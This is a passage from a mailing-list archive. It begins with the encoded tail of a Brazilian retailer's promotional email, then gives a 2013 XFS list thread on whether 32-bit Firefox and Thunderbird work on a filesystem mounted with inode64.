tZG8tY2xpZW50ZS9hdmFsaWFjb2VzL2luZGV4LnBocD91dG1fc291cmNlPTA5XzA3XzEzX29mZX= J0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZ= XJ0YV9kb19kaWFfMDlfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84780,1= c2237438af082b58788aa38a7694b1f,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9pbnN0aXR= 1Y2lvbmFsL2Zvcm5lY2Vkb3Jlcy8/dXRtX3NvdXJjZT0wOV8wN18xM19vZmVydGFfZG9fZGlhJn= V0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhX= zA5XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84772,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL2NoYXQvP3V= 0bV9zb3VyY2U9MDlfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb2= 50ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wOV8wN18xMyZ1dG1fdGVybT0=3D,1,= b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84751,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA5XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDlfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84781,1= c2237438af082b58788aa38a7694b1f,aHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL0dpcmFmYUN= vbT91dG1fc291cmNlPTA5XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG= 1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDlfMDdfMTMmdXRtX3Rlcm09,= 1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84782,1= c2237438af082b58788aa38a7694b1f,aHR0cHM6Ly90d2l0dGVyLmNvbS9vZ2lyYWZhP3V0bV9= zb3VyY2U9MDlfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW= 50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wOV8wN18xMyZ1dG1fdGVybT0=3D,1,b3Nz= LnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84783,1= c2237438af082b58788aa38a7694b1f,aHR0cHM6Ly9wbHVzLmdvb2dsZS5jb20vK2dpcmFmYS9= wb3N0cz91dG1fc291cmNlPTA5XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDlfMDdfMTMmdXRtX3Rlc= m09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84773,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy55b3V0dWJlLmNvbS9vZ2lyYWZhP3V= 0bV9zb3VyY2U9MDlfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb2= 50ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wOV8wN18xMyZ1dG1fdGVybT0=3D,1,= b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84751,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA5XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDlfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] Pre=E7os e condi=E7=F5es de pagamento v=E1lidos at=E9 11/07/2013 ou enquanto durarem nossos estoques. Imagens meramente ilustrativas.*Consulte sua regi=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3276,644384,84774,1= c2237438af082b58788aa38a7694b1f,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyP3V0bV9zb3V= yY2U9MDlfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PS= Z1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wOV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNn= aS5jb20=3D] =20= --5dc15a0ec0aa455eb1535cecef4189e1 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =0D =0D =0D =0D
    Se você nã= o conseguir visualizar esta mensagem, acesse este link
    3D"" =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"01"
    =0D = =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D =0D =0D
    3D"02" = 3D"03" 3D"05" 3D"06" 3D"07" = 3D"09" = 3D"10"
    =0D
    3D"11"
    =0D =0D =0D =0D =0D =0D =0D
    3D"Rel=F3gio
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D""<= /td>=0D <= img width=3D"290" height=3D"200" border=3D"0" src=3D"http://img.virtualtarg= et.com.br//1636/20130709/04.jpg" alt=3D"" />
    PPX2055GZ-E200
    Microprojetor PicoPix PhilipsFilmadora JVC
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" = 1.583 = ,12=
    =C0 vista no boleto
    ou em at=E9 12x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Zoom =D3ptico 40x
      =0D • LCD 3.0" Touchscreen =
    =0D
    =0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D = =0D =0D =0D
    3D"#" = 791 = ,12
    =C0 vista no boleto
    ou em at=E9 = 12x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D = =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    = 3D""3D""
    BDP-S1100DSL-N10 I
    Blu-Ray Player SonyRoteador Asus
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D =0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
    3D"#" = 254 = ,32
    =C0 vista no boleto
    ou em at=E9 12x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D =0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
    206 ,10
    =C0 vista no boleto
    ou em at=E9 10x no cart= =E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D""
    DSC-W730408127
    Câmera Cyber-Shot SonyFondue El=E9trico Cuisinart
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    = 3D"#" = 351 = ,12
    =C0 vista no boleto=0D
    ou em at=E9 12x= no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Totalmente Antiaderente
      =0D • Em A=E7o Escovado =
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" 351 ,12
    =C0 vista no boleto=0D
    ou em at= =E9 12x no car= t=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    = 3D"" = 3D""
    The Walking - PS3VIVTEL50600
    Game The Walking Dead: A Telltale Game SeriesTelesc=F3pio de Refra=E7=E3o
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Sony Playstation 3
      =0D • 1 Jogador
      =0D • A=E7=E3o =
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" 91 ,91
    =C0 vista no boleto=0D
    ou em at=E9 8= x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Trip=E9 de Alum=EDnio
      =0D • Visor de espelho diagonal
      =0D • Visor superior 3x =
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" = 121 = ,26
    =C0 vista no boleto<= /td>=0D
    ou em at=E9 6x no ca= rt=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"" 3D""
    XP-401CD2901W
    Multifuncional Expression InkjetTelefone sem Fio Be Near
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Colorida
      =0D • Alta Velocidade
      =0D • Wi-Fi
      =0D • 110V =
    =0D
    =0D = =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    = 3D"#" 324 <= font style=3D"font-size: 12pt; font-weight: bold; text-decoration: none; co= lor: #f4ad13; border: 0; ">,72
    =C0 vista no boleto=
    ou em at=E9 12x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Despertador
      =0D • Teclado Iluminado
      =0D • Bivolt =
    =0D
    =0D = =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" 137 ,08
    =C0 vista no boleto
    ou = em at=E9 8x no = cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"01"
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"02" 3D"03" 3D"04" 3D"05" 3D"06" 3D"07"
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    = 3D"08" 3D"09" = 3D"10" 3D"12" = 3D"13"
    =0D
    3D"14"
    =
    Pre=E7os e con= di=E7=F5es de pagamento v=E1lidos at=E9 11/07/2013 ou enquanto durarem noss= os estoques. Imagens meramente ilustrativas. =
    *Consulte sua regi=E3o<= /center>
    =0D

    =0D =0D

    =0D =09=09=09=09=09=09=09=09=09=09=09

    Para garantir que nossos comunicados cheguem em sua = caixa de entrada,
    adicione o e-mail ofertadeterca@girafa.com.br= ao seu catálogo de endereços.

    A Girafa res= peita a sua privacidade e é contra o spam na rede.
    Se=20 você não deseja mais receber nossos e-mails, cancele sua inscrição aqui.
    =0D = --5dc15a0ec0aa455eb1535cecef4189e1-- From aurfalien@gmail.com Tue Jul 9 08:37:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 819847F37 for ; Tue, 9 Jul 2013 08:37:57 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 63003304039 for ; Tue, 9 Jul 2013 06:37:54 -0700 (PDT) X-ASG-Debug-ID: 1373377073-04cb6c2a41a77170001-NocioJ Received: from mail-ob0-f176.google.com (mail-ob0-f176.google.com [209.85.214.176]) by cuda.sgi.com with ESMTP id s815xAwV3HA3k3wo (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 09 Jul 2013 06:37:53 -0700 (PDT) X-Barracuda-Envelope-From: aurfalien@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.176 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.176] Received: by mail-ob0-f176.google.com with SMTP id v19so6998614obq.35 for ; Tue, 09 Jul 2013 06:37:52 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.176] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.176] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:content-type:content-transfer-encoding:subject:date:message-id :to:mime-version:x-mailer; bh=uwD49xuMYLjbooUmLAU9yk/QocrbUZlrskR4L/A9oew=; b=wO9Pn4PgWCU4tmiJ7/T9Y4y8dDUPYr7ZM+Wym+Riu0rhc62ddqiH0c5BXIhHjPalmI ZaukGN2TFDWkQHdkLrqk0ZZmyc2Ir9oSk5Oc9w8jdnGvsyk+OcIuY1dLyYHVQi5a3EZi 4c8MoAK2lJxTk90VkxHQjjp1O5gfRM38jOc8GRf0BaHXcPUVD8xEihSqnCPdRPgTuxjb yR/nklTH/CQO7cFAweM+fN70FsiCW3ObI0ZQHBH5eMUw0kc3dDesLR8jtxoqOtTlkbsy vbx8qT/n1OrjarAZe9W6kL1YrfoQsdVvE0OvXVtp2kgKpGwOLhEk6ZNzfPtl8bEz/bK6 K/xg== X-Received: by 10.182.81.233 with SMTP id d9mr24663700oby.43.1373377072853; Tue, 09 Jul 2013 06:37:52 -0700 (PDT) Received: from [192.168.1.74] (75-63-29-182.lightspeed.irvnca.sbcglobal.net. [75.63.29.182]) by mx.google.com with ESMTPSA id rs1sm38023408obb.12.2013.07.09.06.37.50 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 09 Jul 2013 06:37:51 -0700 (PDT) From: aurfalien Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Subject: inode64 and Firefox Date: Tue, 9 Jul 2013 06:37:48 -0700 X-ASG-Orig-Subj: inode64 and Firefox Message-Id: To: xfs@oss.sgi.com Mime-Version: 1.0 (Apple Message framework v1085) X-Mailer: Apple Mail (2.1085) X-Barracuda-Connect: mail-ob0-f176.google.com[209.85.214.176] X-Barracuda-Start-Time: 1373377073 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136264 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hi all, Before I dig deeper, wondering if any one has issues running Firefox v22 = from an XFS file system mounted using inode64 option? - aurf= From sandeen@sandeen.net Tue Jul 9 08:54:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 96C5C7F37 for ; Tue, 9 Jul 2013 08:54:09 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7EFD430405F for ; Tue, 9 Jul 2013 06:54:09 -0700 (PDT) X-ASG-Debug-ID: 1373378048-04cb6c2a46a78440001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id FHtZfKEi2qoJDsxi for ; Tue, 09 Jul 2013 06:54:08 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator-563.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 8BB32651AC09; Tue, 9 Jul 2013 08:54:07 -0500 (CDT) Message-ID: <51DC1600.7080906@sandeen.net> Date: Tue, 09 Jul 2013 08:54:08 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: aurfalien CC: xfs@oss.sgi.com Subject: Re: inode64 and Firefox References: X-ASG-Orig-Subj: Re: inode64 and Firefox In-Reply-To: X-Enigmail-Version: 1.5.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1373378048 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136265 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 7/9/13 8:37 AM, aurfalien wrote: > Before I dig deeper, wondering if any one has issues running Firefox v22 from an XFS file system mounted using inode64 option? I've not tried it, but first question - 32-bit or 64-bit firefox? However, this isn't encouraging: $ file /usr/lib64/firefox/firefox /usr/lib64/firefox/firefox: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped $ ./summarise_stat.pl /usr/lib64/firefox/firefox 1 100.0% use 32-bit stat() family interfaces only sooo if my perl script is to be believed, it may be problematic, depending on how serious a stat() failure is. -Eric From aurfalien@gmail.com Tue Jul 9 09:08:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5087E7F37 for ; Tue, 9 Jul 2013 09:08:12 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 406E830405F for ; Tue, 9 Jul 2013 07:08:09 -0700 (PDT) X-ASG-Debug-ID: 1373378888-04cbb04690d28cb0001-NocioJ Received: from mail-ob0-f171.google.com (mail-ob0-f171.google.com [209.85.214.171]) by cuda.sgi.com with ESMTP id GXnCG2CogUVv7aHN (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 09 Jul 2013 07:08:08 -0700 (PDT) X-Barracuda-Envelope-From: aurfalien@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.171 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.171] Received: by mail-ob0-f171.google.com with SMTP id dn14so7040140obc.16 for ; Tue, 09 Jul 2013 07:08:07 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.171] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.171] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=subject:mime-version:content-type:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to:x-mailer; bh=+JyNn5EfuPAyxJ6rm7BZiepBl3YkSTWUXy8Jd3SrYac=; b=l7n5qrXtgWOdHjhoOvFctUKKPqJwf/8WRTXKPkmp5F9vkhJkCEASt6a9m6yw/rRNnR rMI+MP6domnvIq9x49iGul/kMvoTxBJpIJ7GYhF+17S0FOPl1+1rugFnM3GvNR6Oq3D9 uPgdSUH7G+OLlWoJCGzQNrGbII24RRJvZrrWCM70HHFYB9pZ4ijUsPpeNof0M82XnHiq AHmXZmZhMBvNcWqGvqvPb9bwBxNWA9MZDmugMEewY9AjUofWCdFYWyHqEO5U6FCJTvv8 LXHDP8q+1s2Qoi8fZJ2IPeUWa2wVMVp3Ej9fFsT8FxXBTl0o7+El2lca/TbfZFHp8NpU 9Tqw== X-Received: by 10.60.34.231 with SMTP id c7mr17054283oej.52.1373378887800; Tue, 09 Jul 2013 07:08:07 -0700 (PDT) Received: from [192.168.1.74] (75-63-29-182.lightspeed.irvnca.sbcglobal.net. [75.63.29.182]) by mx.google.com with ESMTPSA id qa4sm38920840oeb.5.2013.07.09.07.08.05 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 09 Jul 2013 07:08:06 -0700 (PDT) Subject: Re: inode64 and Firefox Mime-Version: 1.0 (Apple Message framework v1085) X-ASG-Orig-Subj: Re: inode64 and Firefox Content-Type: text/plain; charset=us-ascii From: aurfalien In-Reply-To: <51DC1600.7080906@sandeen.net> Date: Tue, 9 Jul 2013 07:08:03 -0700 Cc: xfs@oss.sgi.com Content-Transfer-Encoding: quoted-printable Message-Id: References: <51DC1600.7080906@sandeen.net> To: Eric Sandeen X-Mailer: Apple Mail (2.1085) X-Barracuda-Connect: mail-ob0-f171.google.com[209.85.214.171] X-Barracuda-Start-Time: 1373378888 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136265 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Jul 9, 2013, at 6:54 AM, Eric Sandeen wrote: > On 7/9/13 8:37 AM, aurfalien wrote: >> Before I dig deeper, wondering if any one has issues running Firefox = v22 from an XFS file system mounted using inode64 option? >=20 > I've not tried it, but first question - 32-bit or 64-bit firefox? Its 32 bit FF. Thunderbird also has issues. Too bad :( Stuck in the stone age. Got a 24TB fs functioning as a home dir for = ~100 pplz that I would like to modernize. > However, this isn't encouraging: >=20 > $ file /usr/lib64/firefox/firefox > /usr/lib64/firefox/firefox: ELF 64-bit LSB executable, x86-64, version = 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, = stripped >=20 > $ ./summarise_stat.pl /usr/lib64/firefox/firefox > 1 100.0% use 32-bit stat() family interfaces only >=20 > sooo if my perl script is to be believed, it may be problematic, = depending on how serious a stat() failure is. >=20 > -Eric Thanks for the feedback. - aurf From sandeen@sandeen.net Tue Jul 9 09:09:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CAA5D7F50 for ; Tue, 9 Jul 2013 09:09:20 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 64E8EAC005 for ; Tue, 9 Jul 2013 07:09:17 -0700 (PDT) X-ASG-Debug-ID: 1373378956-04bdf02b8eb15310001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id uADYNNQ8DT6MnmSB for ; Tue, 09 Jul 2013 07:09:16 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator-563.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id DB830651AC09; Tue, 9 Jul 2013 09:09:15 -0500 (CDT) Message-ID: <51DC198C.70106@sandeen.net> Date: Tue, 09 Jul 2013 09:09:16 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: aurfalien CC: xfs@oss.sgi.com Subject: Re: inode64 and Firefox References: <51DC1600.7080906@sandeen.net> X-ASG-Orig-Subj: Re: inode64 and Firefox In-Reply-To: X-Enigmail-Version: 1.5.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1373378956 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136265 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 7/9/13 9:08 AM, aurfalien wrote: > > On Jul 9, 2013, at 6:54 AM, Eric Sandeen wrote: > >> On 7/9/13 8:37 AM, aurfalien wrote: >>> Before I dig deeper, wondering if any one has issues running Firefox v22 from an XFS file system mounted using inode64 option? >> >> I've not tried it, but first question - 32-bit or 64-bit firefox? > > Its 32 bit FF. Thunderbird also has issues. Too bad :( Ok, below was for 64-bit, even! I'd file a bug w/ them, it can't be that hard to fix. Modern filesystems have 64 bit inodes, they should handle it! -Eric > Stuck in the stone age. Got a 24TB fs functioning as a home dir for ~100 pplz that I would like to modernize. > >> However, this isn't encouraging: >> >> $ file /usr/lib64/firefox/firefox >> /usr/lib64/firefox/firefox: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped >> >> $ ./summarise_stat.pl /usr/lib64/firefox/firefox >> 1 100.0% use 32-bit stat() family interfaces only >> >> sooo if my perl script is to be believed, it may be problematic, depending on how serious a stat() failure is. >> >> -Eric > > Thanks for the feedback. > > - aurf > From stan@hardwarefreak.com Tue Jul 9 09:35:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1DF427F37 for ; Tue, 9 Jul 2013 09:35:34 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 06BB630405F for ; Tue, 9 Jul 2013 07:35:33 -0700 (PDT) X-ASG-Debug-ID: 1373380533-04cb6c2a41a7c250001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id OEhiJIFHZwf9OD8x for ; Tue, 09 Jul 2013 07:35:33 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id E6B086C054; Tue, 9 Jul 2013 09:35:32 -0500 (CDT) Message-ID: <51DC1FB4.7010108@hardwarefreak.com> Date: Tue, 09 Jul 2013 09:35:32 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 